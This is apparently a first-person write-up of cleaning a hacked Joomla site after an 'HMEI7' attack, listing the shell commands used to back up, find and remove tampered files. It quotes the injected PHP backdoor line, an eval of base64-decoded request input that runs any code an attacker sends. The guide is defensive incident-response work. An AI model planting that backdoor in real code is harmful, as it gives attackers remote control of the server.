I had to clean up after an HMEI7 script attack on a Joomla site this morning and figured I should share my efforts. The site owner did not have a recent backup, so the decision was made to clean up the existing site.
The HMEI7 script is rather crude in its approach. It modified the index.php page and and replaced it with Base64 encoded version that containing another Base64 encoded redirect to some external site. A good number of .PHP scripts were modified with additional lines of code that would prevent the site from working even after the index page was restored. I wrote a small script that tracked down the modified pages and removed the unwanted code.
-
Backed up the existing files.
tar cjf cms.tar.bz2 cms/
-
Identify the time of the attack. The script drops its signature into x.txt in the root folder. The file contains "hacked by Hmei7". Noted the modification time of the file
-
Find all files that were modified since that time. In my case 2 days
find . -mtime -2 >modified_files.txt
Copied that file per FTP to my laptop for later reference
-
The attack script added number of new files. Removed all
find . -name "index.old.php" -exec rm -f {} \; find . -name "index.1.php" -exec rm -f {} \; find . -name "class.back.php" -exec rm -f {} \;
-
Cleared out the tmp folders
-
Analyzed the modified file and found a pattern. The modified PHP files contained the following additional code. It would be either on be on 1 line or on 3.
<?PHP defined('_OLD_JEXEC_') or die(@eval(base64_decode($_REQUEST['comment']))); ?> <?PHP defined('_OLD_JEXEC_') or die(@eval(base64_decode($_REQUEST['comment']))); ?><?php...
I wrote and ran the cleanup.py script to deal with those. The script creates back up copies of every file modified by adding the extension .bad to the file name. Once the site is restored these can be deleted with
find . -name "*.bad" -exec rm -f {} \;
-
Checked the .htaccess files
-
Checked the configuration.php file
-
Removed the x.txt file under root
-
Copied the index.php back from backup and et voila the site was up again
-
Ran a quick grep tests to make sure I did not miss any files.